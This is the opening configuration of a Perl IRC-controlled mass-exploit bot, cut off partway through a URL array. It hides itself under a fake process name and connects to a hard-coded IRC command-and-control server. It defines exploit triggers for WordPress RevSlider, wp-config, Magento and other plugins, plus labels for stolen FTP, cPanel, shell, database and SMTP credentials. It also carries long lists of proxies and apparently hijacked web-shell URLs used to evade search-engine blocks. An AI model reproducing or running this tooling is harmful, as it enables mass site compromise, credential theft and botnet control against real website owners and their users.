#!/usr/bin/perl ######################################################################################################### ######################################################################################################### use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; use MIME::Base64; use URI::Escape; use Digest::MD5 qw(md5_hex); use DBI; #use DBD::mysql; ######################################################################################################### my $fakeproc = "/usr/sbin/httpd"; # ######################################################################################################### my $timeout = 10; my $number = int(rand(99)); my $rawmsg = $ARGV[4]; my $msgraw = $ARGV[5]; my $limitScan = 0; my $cLimit = 0; my $privscan = 1; my $gscan = 1; #---google---# my $pscan = 1; #---bypass ---# my $oscan = 1; #---others---# my $pub = 0; #--- PUB RESULT ---# my $scrapUrl = 0; my $scrapLoc = 1; my $logger = 0; my $repeat = 1; my $injector = "http://www.stroyinfo.by//media/media/js/feed/readme.php"; my $osKey = "rhs"; ######################################################################################################## my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"; my $badsite = "codecanyon.net|100torrent.com|logs|access_log|google|yahoo|securityaffairs|youtube.com|packetstormsecurity|github|awstats|stackoverflow|archive-cu.com|joomlaforum.ru|stackoverflow.com|archive-ca.com"; my $tld = "ae|ag|by|bh|bd|bg|bi|cg|ci|dj|dm|eg|ee|et|fj|gi|gl|gt|gg|ht|je|jo|kg|lt|lu|mt|mu|mn|np|nf|om|pa|pn|pr|rw|sm|sc|lk|tj|bs|tt|tm|ug|af|ax|dz|aq|aw|bj|bm|bt|bw|bn|bf|ky|cf|cx|cw|cy|fo|gh|gd|gp|gu|gn|gy|iq|jm|ki|lb|lr|mo|mg|mp|mq|yt|mc|mz|ng|cq|lc|rs|gs|sl|sb|kn|tz|tl|tg|gov|wf|ye"; my $oth = "seznam|searchnz|biglobe|hotbot|uol|onet|walla|yahoo|dogpile|bing"; ######################################################################################################### # BOT CONFIG # ######################################################################################################### my %data = ( server => "118.97.167.11", port => "6667", channel => "#ukpvt", debug => "#ukpvt", nick => "Demon", ident => "witch", fullname => "Fuck You", admin => "solutionz", chanKey => "123", debugKey => "" ); ######################################################################################################### # EXPLOIT CMD # ######################################################################################################### my %cmd = ( adsManager => "!ads", jdownloads => "!jdl", myblog => "!blog", wpconfig => "!wpc", revslider => "!rev", magento => "!mag", ninja => "!ninja", cfgcontact => "!cfg", ); ######################################################################################################## # RESULT LOGO # ######################################################################################################## my $ftplogo = "4PRIVA5TE FTP"; # my $cpanellogo = "11PRIVA10TE CPANEL"; # my $shellogo = "15PRIVA14TE SH15ELL"; # my $dblogo = "9PRIV3ATE DB"; # my $smtplogo = "12PRIVA2TE SMTP"; # ######################################################################################################## my $wpclogo = "8WPCO7NFIG"; my $adslogo = "8ADSMA7NAGER"; my $jdlogo = "8JDOWN7LOADS"; my $revlogo = "8REVS7LIDER"; my $bloglogo = "8MYB7LOG"; my $maglogo = "8MAGE7NTO"; my $ninjalogo = "8NINJA APP7LICATION"; my $cfglogo = "8CONT7ACTFORM"; ######################################################################################################### # SKIN # ######################################################################################################### my %art = ( front => " ", back => " ", div => " ǁ ", dot => " : ", circ1 => " ( ", circ2 => " ) ", ); ######################################################################################################### my $sEngine = "GooGle,GooGleCA,GooGleDE,GooGleUK,GooGleFR,GooGleES,GooGleIT,GooGleNL,GooGleBE,GooGleCH,GooGleSE,GooGleDK,GooGleNO,GooGleNZ,GooGleIE,GooGleBR,GooGleAR,GooGleCO,GooGleCU,GooGleCL,GooGleMX,GooGleAU,GooGleRU,GooGleAT,GooGlePL,GooGleIL,GooGleTR,GooGleUA,GooGleGR,GooGleJP,GooGleCN,GooGleMY,GooGleTH,GooGleIN,GooGleKR,GooGleRO,GooGleTW,GooGleZA,GooGlePT,GooGleID,GooGleKE,GooGleEC,GooGleVN,GooGleZM,GooGlePH,GooGleBY,ae,ar,at,au,by,br,ca,cl,cn,cz,de,dk,es,eu,fr,hu,id,il,in,it,jp,kr,mx,my,nl,ph,pl,ro,ru,th,ua,uk,us,si,be,tv,cc,as,ai,ag,az,bh,bd,bz,bo,ba,vg,bg,bi,co,cd,cg,ck,cr,hr,cu,ci,dj,dm,do,ec,eg,sv,ee,et,fj,fi,gm,gi,gr,gl,gt,gg,ht,hn,hk,is,ie,im,je,jo,kz,ke,ir,vn,kg,lv,ls,ly,li,lt,lu,mw,mt,mu,fm,mn,ms,ma,na,np,nz,ni,nf,no,om,pk,pa,py,pe,pn,pt,pr,qa,rw,sh,sm,sa,sn,sc,sg,sk,za,lk,vc,se,ch,tw,tj,bs,to,tt,tr,tm,vi,ug,uy,uz,ve,vm,zm,ws,af,ax,al,dz,ao,aq,am,aw,ac,bj,bm,bt,bw,io,bn,bf,kh,cm,cv,ky,cf,cx,cw,cy,fk,fo,gh,gd,gp,gu,gn,gy,hm,iq,jm,ki,kw,la,lb,lr,mo,mg,mv,mp,mq,mr,yt,md,mc,me,mz,nr,nc,ng,nu,pw,ps,cq,re,lc,pm,st,rs,gs,sl,sx,sb,so,su,kn,sr,tz,tl,tg,tk,tn,tc,vu,wf,ye,zw,com,net,org,biz,xxx,tel,mil,pro,edu,gov,cat,info,asia,name,jobs,mobi,aero,coop,travel,SeZNam,searchnz,WaLLa,BigLobe,UoL,HotBot,OnEt,dogpile,GoogleCZ,GoogleHU,GoogleID,GooglePH,GoogleSI,GoogleVN,GoogleRS,GoogleSG,GooglePK,GoogleME,GoogleKZ,GoogleAF,GoogleAL,GoogleDZ,GoogleAO,GoogleAM,GoogleAZ,GoogleBH,GoogleBD,GoogleBY,GoogleBT,GoogleBO,GoogleBA,GoogleBG,GoogleBN,GoogleKH,GoogleCM,GoogleCR,GoogleHR,GoogleCU,GoogleCY,GoogleDM,GoogleEC,GoogleEG,GoogleEE,GoogleFI,GoogleGE,GoogleGH,GoogleHN,GoogleHK,GoogleIS,GoogleKE,GoogleKW,GoogleLA,GoogleLV,GoogleLT,GoogleLY,GoogleMK,GoogleMT,GoogleMZ,GoogleNA,GoogleNR,GoogleNP,GoogleNG,GooglePY,GooglePE,GooglePR,GoogleQA,GoogleSA,GoogleSN,GoogleSK,GoogleLK,GoogleTJ,GoogleTZ,GoogleTK,GoogleTO,GoogleTN,GoogleUY,GoogleUZ,GoogleVE,GoogleZM,GoogleUG,GoogleTT,GoogleZW,GoogleAE,GoogleMM,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,KonToL,PePek,TeTek,ItiL,Vagina,NenNen,SuSu,BuahDada,PayuDara,Kentot,eMeL,OraL,Klitoris,Masturbasi,Onani,Sperma,AnaL,Puting,Penis,MeMek,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,GoogleORG,GoogleASIA,GoogleGOV,GoogleNET,GoogleXXX,GoogleWS"; my @webproxxxyy = ('https://www.web-proxy.co.uk/', 'http://truthsilo.com/pox/', 'http://tek1systems.com/proxy/', 'http://proxy.feliciani.fr/', 'http://dmburke.com/PHPProcksy/', 'http://prx.afkcz.eu/', 'http://yare.hk/', 'http://bramka.matusik.net/', 'http://mentalworld.in/avatar/', 'http://qartex.com/webproxy/', 'http://www.proxyoutlet.com/', 'http://www.intcomsync.com/subdomain/', 'http://phproxy.herokuapp.com/', 'http://w3ec.com/proxy/', 'https://www.xxlproxy3.com/', 'http://proxy.oddonion.com/', 'http://showvision.info/', 'http://jelajah.internetmerdeka.org/', 'http://0ff.hu/', 'http://proxservices.net/', 'https://www.workingproxy.net/', 'https://www.uk-proxy.org.uk/', 'http://www.proxygratis.es/', 'http://quickproxy.co.uk/', 'https://www.proxybytes.com', 'https://pan.one/proxy/', 'http://stenzo.fr/stenzohide/', 'https://www.webproxy.me.uk/', 'https://www.siteunblocker.co.uk/', 'https://www.openproxy.eu/', 'http://neflip.top/', 'https://www.panyuxin.com/proxy/', 'http://proxy4all.space/', 'http://vts-c.info/proxy/', 'http://www.corcon.com.ru/', 'http://home.iitj.ac.in/~vinod2292/phproxyimproved/', 'http://www.m4star.net/', 'http://iphider.org/', 'http://www.itwtf.com/', 'http://hideips.com/', 'http://www.nithid.com/kaunnee/', 'http://deadpxl.org/bearcalvary/', 'http://mob.beproxy.com/', 'http://max.codefromjames.com/', 'http://www.deadpxl.org/bearcalvary/', 'http://raffsy.me/', 'http://proxy1.proxservices.net/', 'http://proxy10.proxservices.net/', 'http://proxy2017.com/', 'https://www.sslproxy.org.uk/', 'http://www.theprofissional.com/', 'https://www.stealthproxy.co.uk/', 'http://proxy.yupyap.com/', 'https://www.unblockwebsites.co.uk/', 'http://bypass.osiland.com/', 'http://xsurf.nl/', 'http://haywired.ru/n/', 'https://www.justproxy.co.uk/', 'https://www.proxythis.info/', 'http://jien.net/gim/', 'http://web-proxy.party/', 'http://www.unblockwebsite.work/', 'http://www.cliker.com/proxy/', 'http://www.proxyaka.com/', 'http://www.palvue.net/go/', 'http://www.proproxy.me/', 'http://www.masluxor.com/', 'http://www.danyalahmed.com/phproxy/', 'http://www.phproxy.us/', 'http://www.ekzi.com/p/', 'http://fuckgema.net/', 'http://www.proxy.zee18.info/', 'http://proxypaco.com/', 'http://proxy.strawjackal.org/', 'http://www.britishproxy.uk/', 'http://www.proxy2017.com/', 'http://pan.one/proxy/', 'http://zopt.net/empoi/', 'http://daev.goldensurge.com/', 'http://www.odblokuj.115zse.frih.net/', 'http://prox.emobilis.com/', 'http://mihal.is/poxy/', 'http://surfnu.nl/', 'http://samlan.no/test/1/', 'http://wadi.desertfish.be/', 'http://www.endo.gr/endomembers/proxy/nc/', 'http://www.azadios.com/proxy/', 'http://sandro.tsukini.at/', 'http://www1.laubrich.net/', 'http://www.offtopica.com/sap/', 'http://goweb.com.ua/', 'http://www.bbgf.fr/marie/', 'http://proxy.volaware.com/', 'http://www.nichelinohesperia.it/giampy/', 'http://datp.de/proxy2/', 'http://www.testesuainternet.com.br/tsi/proxy/', 'http://panyuxin.com/proxy/', 'http://proxy.fotserv.pl/', 'http://www.faceoxy.com/', 'http://asq1.com/', 'http://www.surf-proxy.de/', 'http://proxy.polach.info/', 'http://www.giantmania.de/', 'http://zz.vespakung.com/', 'http://www.proxy.xmc.pl/', 'http://www54.atpages.jp/jyouhogijyutusya/', 'http://www.xstart.ro/proxy/', 'http://www.janis666.elektrosat.pl/px/', 'http://gamebv.ro/', 'http://www.georgeproxy.co.uk', 'http://phproxy.nfriedly.com', 'http://a7laproxy.racing', 'http://worka.work', 'http://vividproxy.com', 'http://proxy2u.com', 'http://www.hiddenip.club', 'http://newproxy.ninja', 'http://proxy21.proxservices.net', 'http://proxy2.proxservices.net', 'http://proxy16.proxservices.net', 'http://proxy20.proxservices.net', 'http://visiosite.net', 'http://proxy.ske.ind.in', 'http://proxy.filipe.ch', 'http://proxy.unixstorm.org', 'http://unblock-website.top', 'http://pureproxy.net', 'http://unafraid.epbsoft.com', 'http://slovensko.co.uk/proxy', 'http://secured.bot.nu', 'http://www.proxyvolt.info', 'http://www.proxyplus.ru', 'http://proxyplus.ru', 'http://ccgi.marktj.plus.com', 'http://proxy.scorpimen.eu', 'http://www2.dek-sara.com', 'http://browser.siwy.net.pl', 'http://sites.iskandertm.com', 'http://webneel.com', 'http://proxy.gabinhocity.eu', 'http://www.puds.pl', 'http://gachlilit.net', 'http://www.freeproxy.ro', 'http://surfhouse.com.au', 'http://www.relatedfamilies.com', 'http://www.scripts.goingsoft.com/proxy', 'http://chat.iwiin.com', 'http://ccfe.cba.pl', 'http://catportrait.de', 'http://allegro.czest.pl', 'http://praxynew.1eko.com', 'http://p.vyast.com', 'http://meyhenmgh.com', 'http://007.taishet.info', 'http://skinftw.com', 'http://www.ekamali.com', 'http://www.pureproxy.net', 'http://scripts.goingsoft.com/proxy', 'http://proxy.twista.cz', 'http://vevoproxy.top', 'http://fjayss.top', 'http://mofiro.top', 'http://www.smartproxy.info', 'http://www.gbproxy.com', 'http://fermatfibonacci.info', 'http://www.websitesunblocked.com', 'http://www.ecxs.net', 'http://www.proxyunblocknow.com', 'http://beproxy.com', 'http://proxy7.proxservices.net', 'http://proxy.bernex.net', 'http://www.proxypower.co.uk', 'http://www.webproxy.online', 'http://filipo.top', 'http://www.openproxy.eu', 'http://unblockwebsite.work', 'http://www.europeproxy.eu', 'http://www.freeproxy.org.uk', 'http://www.cantseeme.co.uk', 'http://www.proxyunblock.eu', 'http://ronin.gr/anonymous-browsing', 'http://www.schoolproxy.eu', 'http://sfrproxy.top', 'http://www.travelpointer.ro/wp-includes/js/plupload', 'http://www.xxlproxy1.com', 'http://www.xxlproxy2.com', 'http://www.xxlproxy3.com', 'http://www.xxlproxy4.com', 'http://test-alwaysmy.rhcloud.com', 'http://proxy.crystian.net', 'http://proo88.com', 'http://itwtf.net', 'http://www.VividProxy.com', 'http://www.justproxy.co.uk', 'http://www.uleth.ca', 'http://m.showvision.info', 'http://microsoft2.sitemix.jp', 'http://www.xxlproxy.com', 'http://aquaproxy.net', 'http://doriytxer.gq', 'http://71.18.69.108', 'http://www.litecoinproxy.com', 'http://kopites.club', 'http://www.proxy2u.com', 'http://www.ispblocked.com', 'http://pro.hiddenip.club', 'http://www.pumpkinproxy.com', 'http://proxy11.proxservices.net', 'http://www.Xsurf.nl', 'http://www.dependable.proxy4me.com', 'http://www.proxysite.pl', 'http://www.proxypirate.co.uk', 'http://roxy.tibu.fr', 'http://www.bronc.es', 'http://www.wordpressproxy.com', 'http://www.proxy.sx', 'http://www.proxybook.online', 'http://www.SurfNu.nl', 'http://www.proxysite.it', 'http://unblockme.comuf.com', 'http://www.proxyproxy.co.uk', 'http://www.a.dukovany.cz', 'http://www.gamebv.ro', 'http://yule.hp2.jp', 'http://hidemyip.pro', 'http://www.proxygratis.net', 'http://www.yare.hk', 'http://www.online-proxy.nl', 'http://proxy.friendsandco.org', 'http://jobbsurf.mattiasp.se', 'http://www.nearproxy.top', 'http://proxy.pcserv.info'); my @bypass = ('http://metroway.com/wp-includes/ID3/proxy.php', 'http://www.bigswedestudios.com/errors.php', 'http://re-bel.org/errors.php', 'http://titiprindu.com/errors.php', 'http://www.asesoriajuanar.com/errors.php', 'http://mvtool.com/errors.php', 'http://hopkinspools.com/errors.php', 'http://www.stlukeshometucson.org/errors.php', 'http://www.kathleenferrari.com/errors.php', 'http://www.tcfa1.net/errors.php', 'http://www.nre-electronics.com/includes/XRIS.php', 'http://balfourautobody.com/errors.php', 'http://iheld.com/errors.php', 'http://iheld.com/errors.php', 'http://www.zeffert.com/errors.php', 'http://interminas.ddns.net/errors.php', 'http://www.bendit.co/backside/media/mailto/error.php', 'http://www.thewigmall.com/errors.php', 'http://www.cannell-immobilier.com/errors.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://www.pessebristassumpcio.com/wp-includes/error.php', 'http://www.ecomuseudelblat.cat/errors.php', 'http://www.austriasport.nl/wp-includes/errors.php', 'http://treboliberica.com/includes/errors.php', 'http://treboliberica.com/includes/errors.php', 'http://cccjamaica.org/cccj_main/media/mailto/error.php', 'http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php', 'http://dailyfresh.nu/Hotfrog/errors.php', 'http://www.catholicharities.org/errors.php', 'http://exhibcouples.fr/errors.php', 'http://pastorbonus.sk/errors.php', 'http://bikinin.se/errors.php', 'http://iphider.org/index.php', 'http://www.warsztaty.sprzedajlatwo.pl/errors.php', 'http://bohealth.eu/media/com_jantivirus/css/index.php', 'http://pshk.pl/pasieka/miodzimbirem/wp-includes/error.php', 'http://www.thermona-ekb.ru/errors.php', 'http://sufbellman.dk/errors.php', 'http://www.twocanfly.com/errors.php', 'http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php', 'http://totalfish.hu/errors.php/errors.php', 'http://www.esteticaraffinata.com.br/errors.php', 'http://www.bortolotto.eu/plugins/editors/error.php', 'http://kredus.pl//libraries/joomla/database/XRIS.php', 'http://realestateinvestmentfinance.com.au/errors.php', 'http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php', 'http://rothwellscouts.com/media/mailto/error.php', 'http://rothwellscouts.com/media/mailto/error.php', 'http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php', 'http://australiansuperaudit.com.au/errors.php', 'http://www.myroom-residence.com/errors.php', 'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php', 'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php', 'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php/error.php', 'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php', 'http://www.ski-freizeit-reisen.de/components/com_mailto/error.php', 'http://politics.cnm.com.pt/errors.php', 'http://circuitec.com.br/errors.php', 'http://www.allcam.org/errors.php', 'http://transplant.org.kw/errors.php', 'http://imotionasia.com.vn/errors.php', 'http://www.thai-orchidea.cz/modules/mod_login/error.php', 'http://www.flowershop-neo.com/wp-includes/error.php', 'http://www.gambinigroup.it/media/mailto/error.php', 'http://fullcirclehealth.today/wp-content/uploads/search.php', 'http://fullcirclehealth.today/wp-content/uploads/search.php', 'http://fullcirclehealth.today/wp-content/uploads/search.php', 'http://www.theatresprives.com/errors.php', 'http://www.gok.gminasiedlce.home.pl/images/XRIS.php', 'http://valentealexvalente.com/alex/wp-includes/error.php', 'http://www.aestheticturkey.com/includes/XRIS.php', 'http://www.amlidersrl.com.ar/error.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.telsonet.pl/errors.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.nieruchomosci-surzynski.pl/hestia/includes/XRIS.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php', 'http://www.saboeiro.pt/errors.php', 'http://p.istu.ru//components/com_mailto/error.php', 'http://www.evenimentesm.ro/satu-mare/errors.php', 'http://ww2.elsnordic.com/errors.php', 'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php', 'http://www.sbagro.org.br/modules/mod_login/error.php', 'http://www.orfej.si/components/com_mailto/error.php', 'http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php', 'http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php', 'http://www.fcors.com.br/modules/mod_banners/error.php', 'http://www.aldiyar.kz/errors.php', 'http://www.spicydurban.co.za/errors.php', 'http://secured.bot.nu/index.php', 'http://eventos.unisangil.edu.co/media/media/css/index.php', 'http://eventos.unisangil.edu.co/media/media/css/index.php' ); #google bypass my @gbypass = ('http://www.atopsuccess.com//plugins/editors/error.php', 'http://www.atopsuccess.com//plugins/editors/error.php', 'http://bioenfapesp.org/media/mailto/error.php', 'http://bioenfapesp.org/media/mailto/error.php', 'http://bioenfapesp.org/media/mailto/error.php', 'http://www.iestpjasdc.edu.pe/contabilidad/components/com_mailto/error.php', 'http://virtualmacompetition.com//error.php', 'http://virtualmacompetition.com//error.php', 'http://toarabic.net/default.php', 'http://www.tcfa1.net/errors.php', 'http://www.maxicomercio.net/error.php', 'http://www.maxicomercio.net/error.php', 'http://www.tcfa1.net/errors.php', 'http://www.cchm.ca/components/com_mailto/error.php', 'http://www.cchm.ca/components/com_mailto/error.php', 'http://www.thewigmall.com/errors.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://www.maxicomercio.net/error.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://www.maxicomercio.net/error.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://www.hbauserguide.com/wp-content/themes/error.php', 'http://www.rateavon.je/error.php', 'http://beproxy.com/index.php', 'http://www.cannell-immobilier.com/errors.php', 'http://www.upguatemala.org/components/com_content/models/search.php', 'http://www.upguatemala.org/components/com_content/models/search.php', 'http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php', 'http://www.upguatemala.org/components/com_content/models/search.php', 'http://www.bendit.co/backside/media/mailto/error.php', 'http://www.bendit.co/backside/media/mailto/error.php', 'http://www.photodesign.uncanny.cz/images/error.php', 'http://www.photodesign.uncanny.cz/images/error.php', 'http://www.xibears.com/errors.php', 'http://www.teknettasarim.com/en/errors.php', 'http://www.xibears.com/errors.php', 'http://www.bortolotto.eu/plugins/editors/error.php', 'http://www.bortolotto.eu/plugins/editors/error.php', 'http://hoponhopoff.ge/errors.php', 'http://www.acdt-manutention.fr/errors.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://mozaika-mira.ru//media/system/js/error.php', 'http://cccjamaica.org/cccj_main/media/mailto/error.php', 'http://themansphere.com/wp-includes/error.php', 'http://www.thermona-ekb.ru/errors.php', 'http://www.thermona-ekb.ru/errors.php', 'http://www.shturmovoi.ru/components/com_mailto/error.php', 'http://www.thermona-ekb.ru/errors.php', 'http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php', 'http://cccjamaica.org/cccj_main/media/mailto/error.php', 'http://www.shturmovoi.ru/components/com_mailto/error.php', 'http://cccjamaica.org/cccj_main/media/mailto/error.php', 'http://www.ski-freizeit-reisen.de/components/com_mailto/error.php', 'http://v1.admicro.fr/proxy.php', 'http://www.shturmovoi.ru/components/com_mailto/error.php', 'http://scripts.goingsoft.com/proxy/index.php/', 'http://scripts.goingsoft.com/proxy/index.php', 'http://www.ele-eme.com.mx/error.php', 'http://proxyland.ru/index_proxy.php/', 'http://circuitec.com.br/errors.php', 'http://www.ele-eme.com.mx/error.php', 'http://www.asesoriaentesis.com/components/com_mailto/error.php', 'http://rothwellscouts.com/media/mailto/error.php', 'http://www.asesoriaentesis.com/components/com_mailto/error.php', 'http://www.asesoriaentesis.com/components/com_mailto/error.php', 'http://www.taz-nba.net/wp-includes/error.php', 'http://mozaika-mira.ru//media/system/js/error.php', 'http://turkishonline.ru//media/system/js/error.php', 'http://turkishonline.ru//media/system/js/error.php', 'http://turkishonline.ru//media/system/js/error.php', 'http://mozaika-mira.ru//media/system/js/error.php', 'http://www.faceoxy.com/index.php', 'http://www.quorumsocialclub.co.uk/Walks/_derived/search.php', 'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php', 'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php', 'http://www.gambinigroup.it/media/mailto/error.php', 'http://www.milos-ipothikofilakio.gr/wp-content/themes/error.php', 'http://imotionasia.com.vn/errors.php', 'http://www.telsonet.pl/errors.php', 'http://www.semneartemis.ro/images/errors.php', 'http://www.esproxy.com/index.php', 'http://thediabetictimes.com/images/phppass.php', 'http://thediabetictimes.com/images/phppass.php/', 'http://p.istu.ru//components/com_mailto/error.php', 'http://www.orfej.si/components/com_mailto/error.php', 'http://www.3freebids.com/error.php', 'http://directproducts.co.zw/errors.php', 'http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php', 'http://www.fcors.com.br/modules/mod_banners/error.php'); #racrew bypass my @lbypass = ('http://www.atopsuccess.com//plugins/editors/error.php', 'http://bioenfapesp.org/media/mailto/error.php', 'http://metroway.com/wp-includes/ID3/proxy.php', 'http://metroway.com/wp-includes/ID3/proxy.php', 'http://bioenfapesp.org/media/mailto/error.php', 'http://bioenfapesp.org/media/mailto/error.php', 'http://www.yplittleport.org.uk/media/system/config.index.php', 'http://www.yplittleport.org.uk/media/system/config.index.php', 'http://www.iestpjasdc.edu.pe/contabilidad/components/com_mailto/error.php', 'http://www.itwtf.com/index.php', 'http://www.iestpjasdc.edu.pe/contabilidad/components/com_mailto/error.php', 'http://www.cchm.ca/components/com_mailto/error.php', 'http://beproxy.com/index.php', 'http://www.maxicomercio.net/error.php', 'http://www.upguatemala.org/components/com_content/models/search.php', 'http://greenpowerguy.com/blog/wp-content/themes/error.php', 'http://www.upguatemala.org//components/com_content/models/search.php', 'http://www.upguatemala.org/components/com_content/models/search.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://www.upguatemala.org//components/com_content/models/search.php', 'http://www.pebk.de/joomla/components/com_mailto/error.php', 'http://tek1systems.com/proxy/index.php', 'http://www.photodesign.uncanny.cz/images/error.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.zskaterinky.cz/includes/js/index2.php', 'http://www.ski-freizeit-reisen.de/components/com_mailto/error.php', 'http://www.photodesign.uncanny.cz/images/error.php', 'http://www.milos-ipothikofilakio.gr/wp-content/themes/error.php', 'http://www.telsonet.pl/errors.php', 'http://v1.admicro.fr/proxy.php', 'http://proxy2017.com/index.php', 'http://cccjamaica.org/cccj_main/media/mailto/error.php', 'http://cccjamaica.org/cccj_main/media/mailto/error.php', 'http://mozaika-mira.ru//media/system/js/error.php', 'http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php', 'http://p.istu.ru//components/com_mailto/error.php', 'http://bypass.osiland.com/index.php', 'http://therfw.com/wp-includes/error.php', 'http://www.thermona-ekb.ru/errors.php', 'http://www.thermona-ekb.ru/errors.php', 'http://www.fcors.com.br/modules/mod_banners/error.php', 'http://haywired.ru/n/index.php', 'http://www.xsurf.nl/index.php', 'http://www.ikermartinez.com/images/XRIS.php', 'http://www.shturmovoi.ru/components/com_mailto/error.php', 'http://www.shturmovoi.ru/components/com_mailto/error.php', 'http://jobbsurf.mattiasp.se/index.php', 'http://bashtov.net/proxyru/index.php', 'http://www.dysfagi.no/images/stories/class-mail.php', 'http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php', 'http://www.dysfagi.no/images/stories/class-mail.php', 'http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php', 'http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php', 'http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php', 'http://www.americancountrys.fr//libraries/joomla/database/XRIS.php', 'http://www.nirmalkutiyajohalan.in//libraries/joomla/database/XRIS.php', 'http://siofokiszallasok.hu/images/XRIS.php', 'http://www.gambinigroup.it/media/mailto/error.php', 'http://www.webandseotools.com/proxy/index.php', 'http://turkishonline.ru//media/system/js/error.php', 'http://vega-books.com/media/media/css/index.php', 'http://turkishonline.ru//media/system/js/error.php', 'http://vega-books.com/media/media/css/index.php', 'http://rosomak.pl/images/XRIS.php', 'http://sufbellman.dk/media/error.php', 'http://www.mondragonlingua.com/formacion/components/com_users/search.php', 'http://www.mondragonlingua.com/formacion/components/com_users/search.php', 'http://imotionasia.com.vn/errors.php', 'http://proxyplus.ru/index1.php', 'http://www.asesoriaentesis.com/components/com_mailto/error.php', 'http://rothwellscouts.com/media/mailto/error.php', 'http://www.asesoriaentesis.com/components/com_mailto/error.php', 'http://www-internet----w-orld--w-ibe--w-eb--inter-nationa--net-netvork.8u.cz/HC_Super-Proxy1/index.php', 'http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php', 'http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php', 'http://www.hell-man.de/proxy/index.php', 'http://meyhenmgh.com/index.php', 'http://www.fluogas.com/index/media/media/css/index.php', 'http://ivanous.free.fr/camu_s_world/images/stories/jump.php', 'http://ivanous.free.fr/camu_s_world/images/stories/jump.php', 'http://bohealth.eu/media/com_jantivirus/css/index.php', 'http://quadrabrain.com/wp-content/themes/twentytwelve/error.php', 'http://www2.atpages.jp/ggclub/webproxy/index.php', 'http://agricultureinkenya.com//libraries/joomla/database/XRIS.php', 'http://pngk.kz/media/media/css/index.php', 'http://pngk.kz/media/media/css/index.php', 'http://www.orfej.si/components/com_mailto/error.php', 'http://www.100lab.ru//plugins/system/XRIS.php', 'http://www.fastro.nl//libraries/joomla/database/XRIS.php', 'http://www.fluogas.com/index/media/media/css/index.php', 'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php', 'http://fastproxy.tk/index.php' ); my @racrew = 